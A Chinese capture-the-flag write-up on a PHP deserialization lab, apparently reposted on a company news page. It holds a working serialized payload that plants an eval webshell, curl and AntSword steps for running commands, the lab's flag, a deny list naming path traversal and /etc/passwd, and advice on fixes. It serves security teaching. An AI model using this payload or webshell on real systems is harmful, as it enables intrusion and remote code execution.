ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

【好靶场】PHP反序列化入门练习3

【好靶场】PHP反序列化入门练习3 【好靶场】PHP反序列化入门练习【好靶场】PHP反序列化入门练习3前置知识1. PHP 反序列化基础2. public 属性可以直接被控制3. __toString() 魔术方法4. file_put_contents() 文件写入函数5. __toString() 必须返回字符串6. 序列化字符串长度必须准确7. URL 编码基础本题前置知识小结一、题目源码与利用思路二、Payload 构造与提交1. 使用 PHP 生成 Payload2. Payload 分析3. URL 编码提交三、使用蚁剑连接生成的 PHP 文件1. 打开蚁剑并添加数据2. 测试连接3. 蚁剑连接失败时的排查思路4. 获取flag四、漏洞分析与修复1. 漏洞原因2. 推荐修复方式禁止反序列化外部输入3. 限制文件名和文件后缀4. 必须使用序列化时限制类和数据完整性五、总结【好靶场】PHP反序列化入门练习3本文仅用于授权靶场、CTF 练习和本地安全学习禁止用于未授权测试。文中生成的 PHP 文件和命令执行代码仅限靶场环境验证。对这篇也应该保留“前置知识”否则直接进入WriteFile和__toString()初学者会感觉跳跃。建议把下面内容放在“前言”之后、“题目源码与利用思路”之前。它的篇幅和详细程度与前两篇保持一致。前置知识学习本题前需要掌握 PHP 反序列化、__toString()魔术方法、文件写入函数以及 Payload 长度计算等基础知识。1. PHP 反序列化基础PHP 可以通过serialize()将对象转换为字符串?phpclassUser{public$nametest;}$objnewUser();echoserialize($obj);输出结果O:4:User:1:{s:4:name;s:4:test;}其中标识含义OObject对象4:User类名为User长度为 41对象包含 1 个属性s:4:name属性名name长度为 4s:4:test属性值test长度为 4随后可以使用unserialize()将字符串还原成对象?php$dataO:4:User:1:{s:4:name;s:4:test;};$objunserialize($data);echo$obj-name;输出test如果服务端将用户提交的数据直接传入unserialize($data);攻击者就可能自行构造对象并控制对象中的属性值。2.public属性可以直接被控制PHP 对象中的public属性在序列化后会直接使用属性原名。例如classWriteFile{public$filename;public$content;}序列化后的属性名称为s:8:filename s:7:content因此本题可以直接控制$filename$content如果属性是protected或private序列化后的属性名会包含不可见的空字节\0*\0 \0类名\0手工构造时会更加复杂。本题的两个属性都是public所以不需要处理额外的作用域信息。3.__toString()魔术方法__toString()是 PHP 的字符串转换魔术方法。当对象被当作字符串使用时PHP 会自动调用这个方法。常见触发方式包括echo$obj;print$obj;$messageObject: .$obj;(string)$obj;示例?phpclassDemo{publicfunction__toString(){returnHello PHP;}}$objnewDemo();echo$obj;执行过程为echo $obj ↓ PHP 发现 $obj 是对象 ↓ 自动调用 $obj-__toString() ↓ 输出 Hello PHP本题中的关键触发点就是echo$obj;如果WriteFile::__toString()中包含危险操作就会在对象被输出时自动执行。4.file_put_contents()文件写入函数file_put_contents()用于将字符串写入文件?phpfile_put_contents(test.txt,hello);执行后当前目录下会生成test.txt文件内容为hello函数的基本格式为file_put_contents(文件路径,文件内容);本题中的代码为file_put_contents($this-filename,$this-content);如果这两个属性均由用户控制就可能变成file_put_contents(shell.php,?php ... ?);这就产生了任意文件写入风险。如果写入位置位于 Web 可访问目录并且服务器会解析 PHP 文件那么任意文件写入可能进一步升级为代码执行。5.__toString()必须返回字符串在较新的 PHP 版本中__toString()方法必须返回字符串。正确示例publicfunction__toString(){file_put_contents($this-filename,$this-content);returnwrite success;}如果方法只执行写入操作但没有返回值可能出现对象无法转换为字符串的错误。因此分析题目源码时需要同时关注__toString()是否会被触发方法内部是否存在危险操作方法最后是否返回字符串。6. 序列化字符串长度必须准确PHP 序列化字符串中的长度按照字节计算s:字节长度:字符串内容例如s:9:shell.php因为shell.php一共有 9 个 ASCII 字符。本题中的 PHP 内容?phpeval($_POST[cmd]);?长度为 29 个字节因此对应s:29:?php eval($_POST[cmd]);?如果修改了文件名或文件内容必须同步修改长度字段。推荐使用 PHP 自动生成 Payload$payloadserialize($obj);这样可以避免手工计算错误。7. URL 编码基础如果序列化字符串通过 GET 参数提交Payload 中的特殊字符可能会影响 URL 解析例如: { } $ [ ] ;因此提交前通常需要进行 URL 编码。例如:编码为%3A也可以使用命令行工具自动编码curl--gethttp://靶场地址/\--data-urlencodeser_data序列化Payload使用--data-urlencode可以避免手动处理特殊字符。本题前置知识小结本题需要掌握的知识可以概括为unserialize() ↓ 还原 WriteFile 对象 ↓ 控制 public 属性 ↓ echo 对象 ↓ 触发 __toString() ↓ 调用 file_put_contents()后续题解中重点关注以下三个位置unserialize($ser_data);echo$obj;file_put_contents($this-filename,$this-content);这三处代码共同组成了本题的完整利用链。一、题目源码与利用思路本题考察 PHP 反序列化与__toString()魔术方法的结合利用。题目源码?php//代码仅作为分析和参考不保证一定可以执行。classWriteFile{public$filenametest.txt;public$contenttest content;publicfunction__toString(){file_put_contents($this-filename,$this-content);return写入成功;}}$objunserialize($ser_data);if($obj!false$objinstanceofWriteFile){echo$obj;// 触发__toString}?当 PHP 将对象当作字符串输出时会自动调用对象的__toString()方法例如echo$obj;如果$obj是一个对象PHP 就会尝试调用$obj-__toString();靶场给出的核心代码可以抽象为?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){file_put_contents($this-filename,$this-content);// __toString() 必须返回字符串returnwrite success;}}$ser_data$_GET[ser_data]??;$objunserialize($ser_data);echo$obj;代码中的关键漏洞有两个$objunserialize($ser_data);服务端直接反序列化用户可控数据。echo$obj;反序列化得到WriteFile对象后echo会触发__toString()进而执行file_put_contents($this-filename,$this-content);由于filename和content都是public公有属性因此可以直接通过序列化字符串控制写入文件的名称写入文件的内容。完整利用链如下构造 WriteFile 对象 ↓ 控制 filename 为 shell.php ↓ 控制 content 为 PHP 代码 ↓ 提交序列化 Payload ↓ unserialize() 还原对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 PHP 文件 ↓ 访问生成的 shell.php二、Payload 构造与提交1. 使用 PHP 生成 Payload建议使用 PHP 的serialize()自动生成 Payload避免手动计算字符串长度出错。?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){returnwrite success;}}$objnewWriteFile();// 设置写入文件名$obj-filenameshell.php;// 设置写入内容$obj-content?php eval(\$_POST[cmd]);?;// 生成序列化 Payload$payloadserialize($obj);echo$payload.PHP_EOL;运行后得到O:9:WriteFile:2:{s:8:filename;s:9:shell.php;s:7:content;s:29:?php eval($_POST[cmd]);?;}2. Payload 分析最终 PayloadO:9:WriteFile:2:{s:8:filename;s:9:shell.php;s:7:content;s:29:?php eval($_POST[cmd]);?;}各部分含义如下片段含义OObject对象9:WriteFile类名为WriteFile长度为 92对象包含 2 个属性s:8:filename属性名filename长度为 8s:9:shell.php属性值为shell.php长度为 9s:7:content属性名content长度为 7s:29:...PHP 文件内容长度为 29关键长度如下WriteFile 9 filename 8 shell.php 9 content 7 ?php eval($_POST[cmd]);? 29其中?php eval($_POST[cmd]);?一共 29 个 ASCII 字节因此必须写成s:29:?php eval($_POST[cmd]);?如果长度写错例如s:28:?php eval($_POST[cmd]);?就可能导致unserialize()解析失败。3. URL 编码提交提交后如果文件写入成功可以访问http://hbc2.haobachang.com:43079/shell.php这里需要注意相对路径file_put_contents(shell.php,$content);最终写入的位置取决于 PHP 当前工作目录。文件写入成功后只有当该目录位于 Web 可访问目录中才能通过/shell.php直接访问。三、使用蚁剑连接生成的 PHP 文件本题写入的文件内容为?phpeval($_POST[cmd]);?它会接收 POST 参数cmd并将参数内容交给eval()执行。由于蚁剑连接 PHP WebShell 时会通过 POST 参数发送数据因此可以使用cmd作为连接密码参数。1. 打开蚁剑并添加数据启动蚁剑后右键左侧空白区域选择添加数据填写以下内容URL http://hbc2.haobachang.com:43079/shell.php 连接密码 cmd保存后双击该数据蚁剑会尝试连接目标文件。2. 测试连接如果连接成功蚁剑通常会显示目标主机的基本信息。可以在终端中执行一些无害命令验证连接状态例如whoamipwdid如果能够正常返回结果说明PHP 文件已经成功写入 ↓ 生成的 shell.php 可以被访问 ↓ 蚁剑能够通过 POST 参数 cmd 与其通信3. 蚁剑连接失败时的排查思路如果蚁剑无法连接可以依次检查shell.php是否真的写入成功文件是否位于 Web 可访问目录URL 是否填写正确蚁剑密码是否填写为cmd目标页面是否支持 POST 请求Payload 中content的长度是否正确PHP 文件是否被服务器当作普通文本返回题目是否对 PHP 文件后缀或访问路径做了限制。如果直接访问http://hbc2.haobachang.com:43079/shell.php返回空白不一定代表写入失败。因为代码使用的是eval($_POST[cmd]);没有提交cmd参数时页面可能不会显示明显内容。可以先使用命令行进行测试curl-XPOSThttp://hbc2.haobachang.com:43079/shell.php\--data-urlencodecmdecho test;如果页面返回test说明文件已经可以执行。蚁剑连接和命令执行操作仅限授权靶场或本地环境测试完成后应删除生成的 WebShell 文件。4. 获取flag打开链接上的终端输入cat/tmp/flag.txt最终获取到的flag为flag{13e55976e2ba423bb9778c66dbfecd76}四、漏洞分析与修复1. 漏洞原因本题的漏洞链路为用户可控的序列化字符串 ↓ unserialize() 还原攻击者构造的对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 使用可控参数 ↓ 任意文件写入危险代码主要包括$objunserialize($ser_data);以及file_put_contents($this-filename,$this-content);服务端既没有限制反序列化的类也没有验证文件名和文件内容导致攻击者能够控制完整的文件写入操作。如果攻击者将文件写入 Web 根目录并且文件内容包含 PHP 代码就可能进一步形成代码执行。2. 推荐修复方式禁止反序列化外部输入最优方案是不要对用户提交的数据使用unserialize()。如果只是传输普通数据可以使用 JSON?php$input$_POST[data]??;$datajson_decode($input,true);if(!is_array($data)){exit(非法参数);}$content$data[content]??;if(!is_string($content)){exit(内容格式错误);}// 使用服务端固定目录和固定文件名$filename__DIR__./data/output.txt;if(file_put_contents($filename,$content)false){exit(写入失败);}echowrite success;这里的关键改进是不再使用unserialize()不允许用户自由指定任意路径使用服务端固定目录限制写入内容类型不让用户直接写入 PHP 文件。3. 限制文件名和文件后缀如果业务确实需要用户选择文件名应该使用白名单?php$allowedFiles[avatar.jpg,report.txt,data.json];$filename$_POST[filename]??;if(!in_array($filename,$allowedFiles,true)){exit(非法文件名);}$path__DIR__./uploads/.$filename;还应禁止../ ../../ /etc/passwd C:\Windows\ shell.php shell.phtml同时上传目录应禁止执行 PHP 脚本。4. 必须使用序列化时限制类和数据完整性如果历史原因必须保留序列化数据可以在验签后再进行反序列化?php$data$_POST[data]??;$sign$_POST[sign]??;$secret$_ENV[SERIALIZE_SECRET]??;$expectedhash_hmac(sha256,$data,$secret);if(!hash_equals($expected,$sign)){exit(数据校验失败);}$objunserialize($data,[allowed_classesfalse]);如果业务确实需要还原某个类也应该使用严格的类白名单$objunserialize($data,[allowed_classes[SafeData]]);但需要注意allowed_classes只能限制允许实例化哪些类不能代替文件路径校验、后缀校验和权限控制。对于本题的WriteFile类即使将它加入白名单也不能阻止攻击者修改$filename$content因此最根本的修复仍然是不对用户可控数据直接使用unserialize()并禁止用户控制任意文件路径和脚本内容。五、总结本题的完整利用过程如下找到 WriteFile 类 ↓ 确认 filename 和 content 是 public 属性 ↓ 将 filename 设置为 shell.php ↓ 将 content 设置为 PHP 代码 ↓ 构造序列化 Payload ↓ 提交 ser_data 参数 ↓ unserialize() 还原 WriteFile 对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 shell.php ↓ 访问 shell.php ↓ 使用蚁剑连接验证最终 PayloadO:9:WriteFile:2:{s:8:filename;s:9:shell.php;s:7:content;s:29:?php eval($_POST[cmd]);?;}蚁剑连接配置URL http://hbc2.haobachang.com:43079/shell.php 连接密码 cmd 连接类型 PHP本题的核心考点是理解__toString()的自动触发机制认识echo $obj可能触发对象方法通过反序列化控制对象的public属性理解file_put_contents()导致的任意文件写入掌握 URL 编码和序列化字符串长度计算了解任意文件写入进一步升级为代码执行的条件掌握蚁剑通过 POST 参数连接 PHP WebShell 的基本方法。最终漏洞链可以概括为可控反序列化 ↓ WriteFile 对象 ↓ echo 触发 __toString() ↓ 控制文件名和文件内容 ↓ 任意文件写入 ↓ 生成 PHP 文件 ↓ 蚁剑连接这道题相比前两题更进一步练习 1属性篡改 → 逻辑绕过 练习 2属性篡改 → __destruct() → 命令执行 练习 3属性篡改 → __toString() → 任意文件写入
返回列表